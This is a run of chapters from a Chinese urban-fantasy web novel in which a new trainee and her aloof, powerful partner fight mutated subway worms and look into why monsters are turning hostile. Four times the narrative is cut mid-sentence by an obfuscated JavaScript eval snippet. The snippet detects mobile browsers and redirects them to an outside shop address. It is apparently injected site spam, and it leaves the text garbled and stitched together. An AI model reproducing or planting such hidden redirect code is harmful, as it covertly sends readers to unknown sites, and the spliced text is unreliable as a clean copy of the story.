舒懿明显地感觉苏子沫和刚遇见他那会儿不太一样了。 熨帖,周到,温和,言谈口气软了很多。不紧不慢,说话懒洋洋的,给人的感觉拿捏得很舒服。 “你家在不在沦陷区?如果没地方住可以申请宿舍,政府财产赔偿有限,买了房子可能没办法装修。”苏子沫接上话茬,“食堂在二楼,你挂名的话七折……” 有便宜的饭吃? 舒懿眼睛一下子亮了,简直放着幽幽的绿光。她一蹿老高,把苏子沫前面说的话抛得一干二净: “哇塞,在哪里?你们这里有平面图吗?” 苏子沫有点无奈,真是孩子气的发言。财迷,吃货,还暴力,这些属性竟然能被一次性凑齐…… 想归想,他漫不经心地抬脚,认命般地向前走了几步,又想起什么似的回过头来看了她一眼,正色道: “我、有、洁、癖。” “……” 他记仇了! 舒懿有点局促,像个犯错的小学生一样无意识地对戳着指尖,低头弱弱地说:“呃……我洗澡很勤的。” “……” 他不是那个意思。 她抬头飞快地瞄了一眼苏子沫的脸色,如临大敌,又补了一句:“我……我也很喜欢洗手的。” 这孩子已经慌不择路到脑溢血了。 苏子沫又好气又好笑,抬起手揉了揉自己的眉心。他第一次应对这样神奇的物种,脑子怕不是用的两条线路。 他被这么一弄,懒得再解释什么:“算了,你跟我来吧。” …… 苏子沫带着她大概走了一遍日常工作可能会去到的地方,简单介绍了一下。回来之后,技术部已经对她的手机做好了改装。 得知可以离开了,舒懿从杨铭手里接过已经录入完毕的手机,走进一条经过处理的小路,毫不突兀地汇入已然平静下来的人群中。 处理局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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自己千辛万苦进了这里,虽然还只是个挂名的实习生,起码要把自己该做的事做好,别再像今天一样……给别人添麻烦。 看完了地图,她闲极无聊,又翻起了档案。虽然她现在权限不够,能看的东西十分有限,只有和她一样的新人档案,可她好像有用不完的耐心,拿着笔记细细地钻研。 直到舒懿将基本事项安排妥当,才打了个哈欠,激灵般涌上一层久违的困意……和后怕。 她真的无数次和死亡打着擦边球跳小步舞,然后奇迹般地苟了下来。不但没死,还成了个正儿八经的实习生,想想确实不可思议。那接下来,就是要在这三个月实习期间好好干活,转正后再考虑以后的事。 夜色已经很深了,舒懿熄了灯,躺在床上,盯着空无一物的天花板。 她看着那有着些许剥落的灰白色,心情有点复杂,没来由地想起了杨铭把她叫到一旁时,那欲言又止的神色。 苏子沫。 他看起来温和又礼貌,一举一动非常克制,是个不会让人感觉不舒服的人,简直称得上谦谦君子。偶尔需要对敌,才流露出一丁点儿固有的冷漠来,但是这也很正常,没有什么异样的地方。 怎么会……“麻烦”呢? 舒懿想破了头,也不明白杨铭为什么说他“风评很不好”。 可能是别人对他有什么误会吧。 舒懿抬手给他拍了板,心满意足地盖上个“都是误会”的红章,不去想这种烦心事,翻了个身,睡着了。 她梦想的第一步,好歹是就此迈出了。 5. 插曲 她起得早,到分部时还有差不多一个小时多的空余时间。 新人在实习期时,更像朝八晚五的上班族,上下班都是准点。成为正式执行员之后就得看任务来,连轴转和通宵都是常事。 舒懿循着记忆,轻车熟路,不怎么费力地找到了食堂。里面隐约传来些人声,她摩拳擦掌,一头扎了进去。 和昨天的情况不太一样,里面多少是有些人的,大概是恰好饭点的缘故。 舒懿放眼望去,一脸兴奋地和同伴交谈的,一个人闷头吃东西的,还有些什么都好奇,脸上多少有些紧张的…… 她心念一动,怕是这些人和她一样都是新人,看来处理局内部等级还是存在的,杨铭恐怕没告诉她全部信息。 舒懿跑到窗口,拎了两只大包子、一杯豆浆外加一个鸡蛋,端回了某张空桌子。而后她风卷残云地啃了起来,啃得回肠荡气,全神贯注——贯注到有人靠近她,一屁股坐对面了都没察觉。 那人轻轻咳了一声,和颜悦色地问:“先前没见过你,新来的?” 舒懿于百忙之中抽空抬头看了那人一眼,咽下嘴里的包子。 “嗯。” 那人穿着件羊毛衫,是个男的,二十多岁,瘦得像只猴。他神色不无得意地说: “真罕见,我以为这行很少有女性愿意做,不然男女比例也不至于这么悬殊。我叫周扬,没想到会有像你这么小的姑娘——你多大,叫什么?” 舒懿:“……十八。” 周扬目光闪了闪,若有所思地上下打量了她一番:“你是能力者?” 舒懿开始吸豆浆:“不是,我没有能力。” 周扬立刻暗暗松了口气,神色却变得倨傲起来: “我是能力者,体质变异系,可以把身体的一部分变成铁,说实在还挺方便。现在虽然还在实习,不过马上快结束了。我打听到一些,处理局有隐藏评级机制,实习期的表现、处事会作为重要参考,转正后评级高升的才快,资源也会倾斜……” “我吃完了。” 舒懿端起盘子站起来。 她不懂人情世故,却对他人的情绪变化异常敏感。眼前这人的目光带了点不歪不正的审视,脸上卖弄越来越明显,她没必要给人这样看着。 “我得去找我搭档跑任务,你接着吃早饭。” “等等啊小姑娘,”周扬跟着站起来,有点慌地叫住她,“你搭档谁?有的人资历不够,跟着很容易出人命的,你看你还这么小——” 舒懿迟疑了一下,沉默了半晌。 她觉得这也不算什么机密信息,最后回答他一下,权当做件好事: “苏子沫。” 谁知周扬直退了两步,大睁着眼睛哆嗦了一下,嘴唇都白了:“你说苏,苏子沫?” 舒懿愣了下,急忙追问:“你知道他?” 周扬好像受了什么惊吓,下意识压低了声音,好半天才说: “这人不得了啊,你以后要离他远一点,一定要离他远一点,实习结束就要调走……” “为什么?” “他做事作风特别狠,而且冷血,我也是才听说,苏子沫他和一般能力者不大一样,一直独来独往,草菅人命…而,而且他据说是一个……” 周扬大气不敢出,顿了一下,用只有两人才听得见的声音说: “杀人犯。” 舒懿脑子里“嗡”的一声响,下意识屏住了呼吸,就像被一道惊雷劈了。 她原来想,苏子沫这人还挺好,有也都是一些无伤大雅的小毛病。至于杨铭的忠告也没往心里去,只是觉得他是不是有点孤僻不和别人交流,有些人看他不爽。 他毕竟还那么年轻,才刚成年,她惯于将人往好处想的思维往尖尖处戳了又戳,想破了头,也没想过… 舒懿定了定神,揉了几下脸,毫不客气地说: “你让他自己来跟我说。” 周扬僵住了,难以置信地问:“你……你说什么?” “这有什么好怕的,你难道亲眼见过他把人给整没?我他喵差点死了,好几次,这回是他把我捞回来的,掐脚指头也能想出来,和个刚见面八杆子打不着的人酸不溜秋的谣言相比,我该信谁——” 舒懿说着,嘴角一抹笑容渐渐展开。她眼睛那么亮,毫不躲闪地逼视过去,有种让人觉得她很强大的……感觉。 “有种你就让当事人亲口和我承认,不提不畏牺牲那些硬要求人显虚,顶高尚的东西,一个人做人要是没自己是非判断,就只会盯着别人言论指挥棒狗一样跟着跑,连真对自己好的人都看不出来,那还是个人吗?” 周扬脸都涨红了,恶狠狠地瞪着她。 他从来不知道软柿子也长着獠牙,被狠狠咬了一口,恼羞成怒了。 这时,旁边突然伸过一只手,轻轻按住了她的肩膀。这一下按得十分克制,蜻蜓点水一样往后一撇。 苏子沫插进两人之间,看了周扬一眼。 他比周扬高半头,不巧对上目光,周扬的气焰一下子蔫了。他丢人现眼地往后踉跄了小半步,被那双又漂亮又冷漠的蓝眼珠吓得一激灵:“干,干什么?” “别紧张。” 苏子沫微微垂了一下眼,客气地说:“我搭档给你添堵了。不过她毕竟是我搭档,有人和她起冲突,我多少得看一下,请问你有什么意见吗?” 青年态度和缓,言语间没带着什么情绪。除了天生身材修长,看人总垂着眼外,一丝傲气都没有。 可周扬就是被他话里的某种东西狠狠地刺伤了自尊心,大抵越是是色厉内茬的人,心里就越是发虚。因为知道自己其实不如人,自己其实什么都不是,就越是会被那骨子里就带着卓尔不群的人刺激到。 周扬脑子被愤怒一冲,连恐惧也顾不上了,梗着脖子气急败坏:“苏子沫你什么意思?” 苏子沫没看他,径直对舒懿说了声:“走吧。” 周扬声音太大,把在食堂用餐的人群注意力全吸引了过来。或许是苏子沫这人太有辨识度,一群人唯恐天下不乱地开始交头接耳,“知情人士”唾沫星子飞溅,向着什么都不懂的新人添油加醋,有好事者甚至拿起手机打算拍摄。 苏子沫看了人群一眼,笑眯眯地说: “还想要这份工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385359|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,麻烦各位删掉。” 瞬间噤声。 “是什么让你自我感觉这么良好的?你装什么清高,谁不知道你其实——” 这一次,青年的脚步停了一下。 他转过头,用一种压得低低的声线轻柔地说: “希望之后还能见到你。” 周扬心跳停了一秒,全身都发起抖来,后背被冷汗浸湿了。 …… 走出一段,舒懿“扑哧”一声笑出来,拉了拉他的袖子,挤眉弄眼:“牛哇,一下控场,此等功力非我等凡人可及也。” 她根本没把那话放心上,虽然青年理论上是她上司,但还是把他当个大点的同龄人看。只是觉得刚才发生的事情挺有趣的,于是戳戳对方准备吐槽。 苏子沫轻轻挑起一边的眉,侧过身,耐心地把某人的咸猪手从袖子上扒拉下去。然后他有一点叹气地说: “这种事比较常见,下次记得不用帮我说话,这样别人都对你有敌意了。你这牙尖嘴利的,得罪了太多人对未来的评级没好处。” ? 啊?是我听错了还是什么情况?“比较常见”和“下次不用帮我说话”居然能成为因果关系?这人脑子是有点问题吧? 舒懿完全不领情,瞪圆了眼,横眉立目地冲他掐过去: “你这脖子上扛的是个水缸吗,脑子进水进了一个太平洋?” “……” 为什么她还没被人打死? “苏子沫,我不是专为你说这话的,”舒懿的声音低了下去,“我是为了对得起自己的心。” “换了任何一个人,在这种情况下,我都会这样——真,我不会偏袒谁,我只是不想受制于那些狗屁。姑奶奶不稀罕别人的眼光,尤其是错误的眼光,大家都是凡人,都要吃饭,我自己这样,不要求别人也这样……但我死心眼,你别在这东西上劝我。” “嗯。”青年应了一声,语气却不易察觉地柔和了一些。 舒懿欲言又止:“嗯…对了,我能……问你一个问题吗?关于这件事的。” “你说。” “苏子沫你……我发现你……” 舒懿叹了口气,她清楚杨铭的忠告,可还是忍不住想问。 “你好像对别人太宽容了吧?说的话…说是理智也太奇怪了,你就一点都不在乎自己吗?这种事很常见还让我不用帮你说——” 苏子沫的眼神一瞬间变了。 舒懿感觉浑身的汗毛都竖了起来,那一纵而逝的危险气息让她有点愣住了。 “没什么,其实……” 他微微欠身,秋季苍白的晨光打在他冰蓝色的眼睛里,深得可怕。 “其实你应该像那个人说的那样,最好离我远一点。” 舒懿张了张嘴,想继续说什么。苏子沫接上自己的话茬,冷淡地打断她:“手机加了定位功能,工作时间自动开启,我刚刚就是靠这个找到你的。现在你来跟我走一遍任务现场,观摩一下流程。” 舒懿憋得有点难受,脸鼓成了一个包子。她只好闷闷地点了点头,摸出了自己的本子,异常听话地跟上去。 6. 地铁蚯蚓 为了走一遍任务现场,从分部出来以后,苏子沫带她等了会儿公交车。 工作日上午,车流不密,路上行人也稀稀落落。秋天的风打着慢悠悠的卷,扯下行道树泛黄的落叶,在街边的红砖和垃圾箱的顶上积了些。所幸没多久,他等的那一路车就慢慢地停在了站牌前。 苏子沫上车找了个靠窗的位置坐下,向她招了招手,示意她坐下来。 青年没接她的槽,舒懿满腹不满,可只能闷在肚子里,看他的眼神有点复杂。 “所以为什么周…周扬说你和一般能力者不大一样,”舒懿磕磕绊绊,扫了眼公交。座位上空空荡荡,只有一个年轻人在后排戴着耳机听歌,这才用近似耳语的声音问:“这个可以说吗?生理层面……还是政治意义?” 苏子沫眯了眯眼,发现她在某些关键上意外地敏锐: “不用紧张,我能隔音,不会被人听见的。这个问题的答案属于能力者的常识,既然你问到了,告诉你也好。” “隔音…?” “原理很简单,声音是一种能量,那么只要吸收了就好。答案是前者,听过X战警吗?” 舒懿愣住了,觉得这画风不大对:“……嗯,知道。” 居…居然知道半世纪前的漫画! “里面的情况,其实有一些相似。如果说能力者是变种人的话,也会有强弱之分。不是后天锻炼的经验差,而是先天能力层次的优劣,也就是所谓的起点和上限的问题。” “所以你……” 苏子沫斜斜地靠在窗口,风吹着他深灰色的头发。他有些薄的嘴角刻意一斜,分明在微笑,却带着说不出的嘲讽: “只是能力上限比较高而已。” 舒懿没吭声,只是静静地看着他。 “把地球比做一个肌体,”苏子沫懒洋洋地垂下眼,“所有的生物就像组成一个人的细胞,由生到死。按照免疫系统的机制,变异虽然可能时刻都在进行,但总会被限制在一个合理的区间,否则人体的稳定就会被破坏…” “你是想说,类似这种上限高的能力者,等同于免疫系统的疏漏?” 苏子沫顿了一下。她居然比想象中聪明,让他有一点意外。 “对。” 他声音突然放得极缓极轻:“我就碰巧是那个被漏过去……没抹杀掉的癌细胞。” “哦,”舒懿歪着头,认真地看着他,点点头,“那你一定很厉害了。” 她只是迟钝,并不傻,多少从苏子沫这不怎么客气的用词里咂摸出了一点冷冷的自嘲。莫名觉得眼前的青年情绪带着不易察觉的低落,笨手笨脚地想安慰他,可惜词不达意,只好用夸夸试试。 “……” 苏子沫一时语塞,张了张口,沉默了。 舒懿把眼睛弯起来,傻乎乎地对着他笑。 “嗯,这个啊,”青年笑着摆摆手:“还行,比一般能力者强一些,好一点点,但也不是很厉害。就只有面对普通怪物还有一点优势,再高就不行了。” 上进好学的舒懿同学边记边抬头问:“那能力类型?” 苏子沫抬手掐了掐自己的眉心: “嗯…你凑合着听听,当时上能力课有一半时间我都在睡觉,关于能力者这方面的知识过后你找杨铭弄一份完整体系看看。” 他微妙地顿了顿:“免得讲错。” 什么?!睡觉?!! 舒懿的眼神死鱼了起来,用“鄙视”大概没办法描述,非要安个词,可能是“唾弃”。 “咳……” 苏子沫眼神难得有点飘,换了别人他多半随口一讲就能敷衍过去了。可眼前这位恐怕会较真,到时候不好办…只好把他念书时的黑历史翻出来,反正也无所谓…… “我…那时候带点心理因素,不想听这门附加课。反正实操也能过,笔试混一混就行……嗯,你明白的。” 不,从小学霸作风到大的她不能理解“读书障碍”这种存在…… 舒懿拿他没有办法,只好“恩准”道:“说说说,苏咸鱼。” “体质变异型,字面意思,这类能力者多半擅长近战,有关身体直接变异的就是;能量外放型,细化还能再分成自然系和念动力系两类,这类……比较少,或许是上限问题吧,有直接大规模破坏能力的能力非常罕见。此外还有媒介影响型,意指通过某种特殊材料输出能力,如控制金属,纸张或植物等;精神控制型,以及未知。” “未知?” “一些专门化,不好归类的能力,就像预言之类的。” “话说你也上学啊……” “政府会办这类学校,只是你不知道而已。下午还加课——专门讲这方面的东西。” 舒懿笑得前仰后合:“咸鱼啊,你好歹人类一点了,该,报应。” 说着,就在她如饥似渴地追问这些新世界知识的时间中,公交到站了。苏子沫站起来,带着背后这只写写写不停息的生物下了车。 周围原本热闹的商业街此刻一个人都没有,店面的卷帘门均出于放下的状态。街道异常冷清干净,只是偶尔刮过一片落叶。自从地铁站出事以后这里就紧急封锁了,虽然那类怪物不会来到地面,但谁也不会拿自己的生命开玩笑。 苏子沫同封锁线出口的军方人员点了下头,出示了证件,抬起黄线进了现场。自动扶梯已经停了,青年带着舒懿走下通往地铁的楼梯。 脚步声回荡在空旷的地铁站里。 太热闹的地方,安静下来就会显得诡异又孤独。就好像…什么随时会从暗处扑出,撕碎人的喉咙。 但是苏子沫却很从容,这份态度不禁影响到了舒懿,让她也不自觉放松起来。 “这次,是处理地铁蚯蚓的伤人事故。” “蚯蚓?” 舒懿下意识问。 “怪物其实并不像有些人想象的一样,全是凶残的猛兽。相反,它们中的大部分基本没什么攻击性,并不喜欢和人类争斗,所以基本上和人类从来都是相安无事。地铁蚯蚓算是其中的一种,是种温顺的地下生物,具有一定的智能。如果和它进行一定程度的交流,甚至还能帮人类挖掘管道,安放设施等。由于它们的巢穴筑在地铁附近,所以这样命名。” “所以,既然出现了伤人事故,”舒懿想了想,说:“是不是情况有变?” “是,”苏子沫不动声色地说,“它们似乎……” 然而下一刻,他的话音陡然一顿。 舒懿几乎没看清发生了什么,只见一条模糊的褐影闪过,速度极快!几乎同时,苏子沫丝毫不迟疑地一抬手,淡蓝色的薄膜在他身侧展开。转瞬,刀锋般的利齿猛地撞击在护罩上,“喀嚓”一声,令人牙酸的牙齿碎裂声响起。 “…狂暴了。” 苏子沫声调毫无起伏地接上自己的话茬:“别紧张,你小心点就行。” 舒懿呆呆地看着他,抬手抹掉几滴黄棕色的液体。苏子沫把那东西从中段干净利落地开膛破肚了,迸出来的血迹溅到了她的脸上。 这样的素质,只有二十岁? 然而,还不等她惊叹,一阵令人毛骨悚然的黏液滑动声就近在咫尺地响起……! 那一幕场景诡异又恶心,被撕成两半的蚯蚓裂口开始以肉眼可见的速度黏合,在莹白的瓷砖上扭动。本能告诉它,眼前的这个对手很危险。和人类相同的体型,却有着不属于人类的能力…它弓起身,重新恢复了生机,谨慎地游走起来。 “活过来了,看来平滑的切口没办法致命。” 舒懿飞快地说:“你有别的攻击方式吗?” 居然变异出了利齿。 “有。我可能要近距离观察一下活体,然后采样回去分析。” 苏子沫眯起眼睛,平静地看着流窜在墙体之间的怪物。他像一个好脾气的研究员,对着一个新发现的物种那样说。 变异后的地铁蚯蚓终于游走到了一个它认为那个生物无法反应过来的距离。它向后紧绷身体,像是一张弯弓的箭。 弩箭离弦。 电光火石之间,怪物径直窜出。苏子沫面不改色,向右移了一步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385360|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利刃般的獠牙扑空了。 他毫不犹豫地抬起手臂,单手掐住怪物的颈部,将它的身体重重地摁在地上,野兽痛苦地吼叫,发疯般地挣扎,苏子沫凭自己的力量完全压制住它,伸出另一只手,那贴近的点点蓝光美得像是流动的银河,却硬生生炸碎了它的小半个脑袋! 怪物不动了,只是偶尔抽搐几下。 居然还能再生,只是速度变得非常缓慢…下次炸碎整个脑子试试看? “证物袋。” 苏子沫垂着眼睛,从舒懿递过来的工具中取出手套戴上,而后拉了拉医用手套的边缘。他用修长的手指轻轻扒开它的口腔,接过她递来的塑料密封袋和镊子,将手探入其中。 “不然…我来做吧。” 太恐怖了,她还没看太清楚,战斗就结束了?舒懿咽了咽,大睁着眼睛。况且,这个人不是有洁癖吗? “谢谢。不过,我更清楚需要什么。” 苏子沫礼貌地微笑。 “牙齿……” 他两指捏住锯齿状的獠牙,用力一掰。一枚牙齿,灯光下泛出冷白色。 “正常的地铁蚯蚓,是没有牙齿…或者说这种形状的牙齿的。这种牙齿是明显的攻击性特征,用于狩猎。二次变异的情况比较罕见,附近也没有什么特殊环境,很蹊跷。” 镊子一点一点往前探,苏子沫大概检查了一下怪物的口腔、整体和暴露在外的大脑,最后把所有样本封进证物袋,拉上袋口。 “放好,然后站开点,别被溅到了。” 他站起身,毫不在意地握拳。那一瞬,青年身上的蓝光骤然变得清晰了。蟒蛇一样粗壮的怪物像个被捏爆的番茄,当即压缩成了一个指甲盖大小的小球。 “好,确认这样是无法再生的。” “等等,” 舒懿这时候却用力拽了他一下,深吸一口气:“小心!” 话音未落,难以计数的褐色影子从地铁站台四周的柱子和楼梯口背后毫无预兆地破空而出! 似乎是被同伴的死激怒了,它们动作快得人眼几乎难以捕捉,可苏子沫连手指都没动一下,液体的喷溅声就在他身前响起。 青年回过头来,带着点不耐烦地冷冷逼视着她: “你注意好自己就行,不用——” 他注意力有点分散,一条一直躲在藏身处没出来的蚯蚓恰巧打了个时间差,在他转过身和舒懿对话的当口以一种非人的速度扑了过来,张口就向他咬去! 舒懿猛地往旁边错了一步,大弧度地一旋,借腰部的力量甩出一记鞭腿,堪堪将那该死的畜生踹偏了原有的轨道: “我看该小心的是你吧!” 她缓缓放下腿,眼神清亮,居然显得有些扎眼: “我没那么没用。” 苏子沫沉默半晌,垂下薄薄的眼皮,居然选择了道歉。 “对不起,是我大意了。” 他注意力收束回来后,效率异常地高。 舒懿用一种匪夷所思的表情对着他,一方面是庆幸杨铭好像还真给她找了个大佬,另一方面是没想到姓苏的对这种提醒居然这么反感,但又道了歉。舒懿偷偷地瞥他,局促地盯着自己的脚尖。 …… 不多时,原本络绎不绝的褐影频率渐缓,直至消失。 “附近没有相同的生命反应,应该是已经清理干净了。” 苏子沫甩甩手腕,把手重新插回口袋。 舒懿有点遗憾地想:“看来没我啥事了。” 原本还指望能上手试试呢…结果她除了那一下根本没有机会,这些怪物还没来得及靠近就被解决掉了。不过也许是第一次出任务,让她看着倒也合情合理? 她规规矩矩地站在苏子沫后边,伸着脖子等他的指示。 苏子沫若有所思地看了她一眼,说: “今天的报告,你来写吧。写完以后记得给我看看,也可以找我探讨。” “……哎?是,好!” 舒懿难以置信地抬头看向他,惊喜又忐忑地指着自己。 7. 疑点 确认现场没有怪物活体存在后,苏子沫通知相关人员前来清场,带着她离开了。 舒懿不经意间抬头。 两侧的步行楼梯被自动扶梯所分隔,地面的光亮投射下来,耀眼明亮。前来清场的人流自右而下,脚步嘈杂。而她和苏子沫自左而上,细长的身影拖在一级一级的阶梯上。 像是一种光影的对比,逆流而上的隐喻。 她突然觉得…很孤独。 然而,就在舒懿努力辨识那种黑潮一般的孤独感时,苏子沫的声音打断了她的思绪: “你现在要去哪里?我要回分部,把样本交给检验部。不出意外,下午应该没事了。” “啊?啊,那我和你一起回去,”舒懿回过神来,“既然要写报告……” “好的。” 他说。 …… 啊。 舒懿呆呆地看着光洁的纸面,回想着那个孤独的场景。她在尚且如此,光是他一个人的时候,又是怎么度过呢… “在想什么?” 黑色的碳素笔笔尖一抖,在纸面上划出一条刺眼的痕迹。 舒懿突然想起,自己现在已经在杨铭的办公室里,构思报告内容。等检验报告出来,她就能拼上最后一块拼图。 “没什么……杨长官,对不起,就是走神了而已。” 舒懿顿觉愧疚,她抬头看了一眼坐在办公椅上的杨铭,问道: “请问,您这里有先前的报告吗?我想看看是怎么写的。” 杨铭笑了,指了指身旁的书柜: “倒数两层。上面呢,基本上都是小苏写的,下面是我的。” “咦?搭档的话,报告是一个人固定负责的吗?” “不是。” 杨铭笑着,摸出一支烟来,看了看又放回去:“只是因为是他。” “啥?啥意思……” 舒懿抽出蓝色的档案夹,纳闷地挠了挠脑袋。为什么这人说话总是这么绕呢,老是说得不清不楚的,她又不会读心术。 算了,不想那些杂事。 样式简单的碳素笔在指尖灵巧地转动,琥珀色的眼睛盯着纸面,思绪开始一点一滴地串联。 根据第九辖区的数据统计,灾难事故发生频率突然骤升,周边地区也有所上升。但其他地区波动均属于正常范围,可以排除自然情况。异常包括不明原因的二次变异,物种习性转变…持续时间将近四个月。 的确很可疑,第九辖区有什么特殊的地方吗?舒懿翻开资料,普通的三线城市,以轻工业为主,经济也不上不下。唯一称得上特别的就是其距离总部较远,处理局控制力没那么强这一点了吧。 但这也不是压倒性的理由……从表面上看,似乎只是巧合。 杨铭把玩着手中的一个雕花打火机,看似漫不经心地说: “警方那边,刚刚截获了一起非法军火交易。我直觉告诉我,那个单子肯定有问题,很可能是伪造的。真正的交易人另有其人,那家伙只是周转的挡箭牌。” 舒懿抬眼: “您觉得这件事和最近的异常有关系?” “直觉。”杨铭耸耸肩,“有人在搞鬼也说不定,只是没有确定的证据。等检验报告出来,假如是人为原因,往这个方向深挖应该没问题。” “那我查一下犯罪方面的数据?” 舒懿点点头。 杨铭轻笑一声,一把抓住雕花打火机,拇指滑动打火石的转轮。 “噌”的一声,像是扣下枪支的扳机。细细的火焰腾跃在空气中,仿佛夕阳晕染下一束美丽的蓝色玫瑰。 …… 哐当。 银色的手术刀上,倒映出青年冰蓝色的瞳孔。分部的检验室里,苏子沫拿起手术金属盘中的刀具,发出尖锐的撞击声。 “难得有这种体型适中的样本,你清理的时候留了一条活体,他们中午就送过来了。”检验员报告道,“和原型的DNA对比显示,这不是混入其他物种遗传物质类型的变异,应该是随机催化。最重要的还是化验结果,看看能不能分离出化学物质……” 苏子沫面无表情地剖开怪物的肌肉组织,蹙眉: “你们有检查它的内脏结构吗?” “尝试过。但是它不断再生,伤口总是黏合,很麻烦…” “把火焰喷枪递给我。” 苏子沫的橡胶手套按住怪物的颈部,火舌舔舐着划开的伤口。他感受到手掌下的生物本能地痉挛和颤抖,肉的焦糊味弥漫在空气中。 “诶?!对啊!我怎么没想到?” “没什么,只是经验,我会帮你们的。” 苏子沫垂着眼,他站开了一点: “检查一下胃。” “你怀疑是人为?” 检验员深呼吸,拿起手术刀,嘀嘀咕咕:“天哪,真难为了,严格来讲这还没死吧……” 滑腻的粘液沾染了橡胶手套,冰冷、绵软的触感让他打了个寒颤。 “不行,我受不了了,”检验员撇过头去,不敢想象怪物的胃内部会是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385361|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场景,“我宁愿自己没有嗅觉……不行了不行了,让我缓缓,我稍后来。” “无论是不是人为,这都是检查的基本内容。” 苏子沫叹了口气,抬眼对着检验员,说: “我来吧。” 几个小时后,繁琐的检验过程终于结束。 青年在布帘后摘下医用口罩,脱掉手术服。随后苏子沫把化验结果放在一边的灰色实验台上,站在洗手池前,面无表情地看着冰冷的水流冲刷着自己的双手。 简直像是强迫症患者一样,他一遍又一遍地洗手,即使手指通红也毫不在意。秋天的水已经不暖了,甚至可以说是冰冷。青年重复着事实上根本没有必要的行为,显得有些诡异。 不知洗了多少遍,苏子沫才从口袋里掏出白色面巾纸,一根一根擦拭着。 滴答滴答,洗手池的水一滴一滴地响。白炽灯的光有些刺眼,干涸的水痕留在池壁上。 苏子沫直起身,拿起放在一旁的检验报告,走出了实验室。 回来的路上,他遇见了杨铭。 遇见用得不太准确,因为男人只是倚靠在自己办公室门外的墙壁上,一根接一根地抽烟。瓷砖上散落着些许烟灰,杨铭舒气,白烟弥散在空气里。 “看不出来,您还真关照她。”苏子沫笑着说,“另外,长官,烟抽得太凶会得肺癌。” “臭小子,有你这么咒人的?” 杨铭闭眼,低头“扑哧”一声笑了: “而且我这不叫关照,叫基本素养。” “您对我可没有素养。” “去去去,你和人家小姑娘能一样?” 杨铭指尖的香烟冒出几缕白烟:“你是啥货色,人家又是啥,心里没点数?” “既然您知道,为什么还让我带她。” 苏子沫的笑容挂在嘴角,却带着莫名的压迫感。 “……” 杨铭不说话了。 这寂静漫长又难熬,可是他不会动摇。苏子沫耐心而漠然地等待着,注视着杨铭的表情。 男人的神色如常,仿佛没有感受到气氛的冰冷一般弹弹烟灰,拉开了办公室的门。 阳光挤过门缝,猛地穿透出来。 苏子沫看着被堆叠的档案夹和卷宗淹没的女孩,眯了眯眼。身侧的垃圾桶里积了过半的纸团,几根不听话的乱毛从脑袋上翘起来,被夕阳染成近乎透明的金色。 他到最后,也没有回答苏子沫的问题。 又或许,他回答了问题,以一种不言而明的方式。 8. 变异源 舒懿抬头的时候,太阳已经落了下去,窗外一片浓重的赤红。办公室的灯不知什么时候被打开了,她居然没有注意到。 “卧槽,已经这么晚了吗?” 舒懿蓦地站起身,发现了更让她惊诧的事: “你没走?!” “晚上好。” 苏子沫戴着眼镜,正坐在办公桌对面的黑色沙发上看一本书。看到她站起来,镜片后的目光从手中的精装本上微微抬起,而后自然地露出微笑。 “呃…”舒懿有些不好意思,“你不用等我的,太麻烦了……” “没事。你也没有办公室的钥匙,没办法反锁。” 苏子沫合上书本,放回书架。他开始自然而然地收拾起桌子上堆叠的文件和卷宗,一切都显得恰到好处,以至于舒懿甚至没想到要拒绝。 “而且,我回来的时候也没什么事,看你那么认真,就不打扰了。” “报告出来了?” “嗯。”苏子沫把一叠装订好的打印纸递给她,“晚上写好了,可以给我打电话。” 舒懿低头接过,发现除了报告,还夹着一张印刷简约的白色名片。她看了一眼,默念了一遍那个名字,把名片塞进了口袋。 【苏子沫】。 “你今晚有空吗?一起吃饭吧。我有事情要和你说。” 这她真没想到。 舒懿用了几秒钟思考了一下,应该是工作上还有什么要交代的,今天下午来不及,所以才顺延到晚饭时间来说。这很正常,没什么奇怪的。 “好啊,去哪?” “看你。” 苏子沫收完了桌子,按下灯光的开关。办公室一下子暗下来,一点残阳落在他侧脸上,沾染了睫毛和发梢。 “额……” 舒懿愣了愣,内心痛苦地纠结。平心而论,她希望能便宜点,但是又会显得自己很不体谅别人… “没关系,我请客。”仿佛是看出了她在担心什么,苏子沫说。 “……” 这个人哟。 舒懿瞪起了死鱼眼,为什么这个人那么喜欢照顾人,又是主动包揽工作又是等她又是请客的…搞得她像一个贼不厚道的白嫖怪。 “不要,老娘又不是没钱。大哥,你能别这么体贴吗,搞得我害怕。” 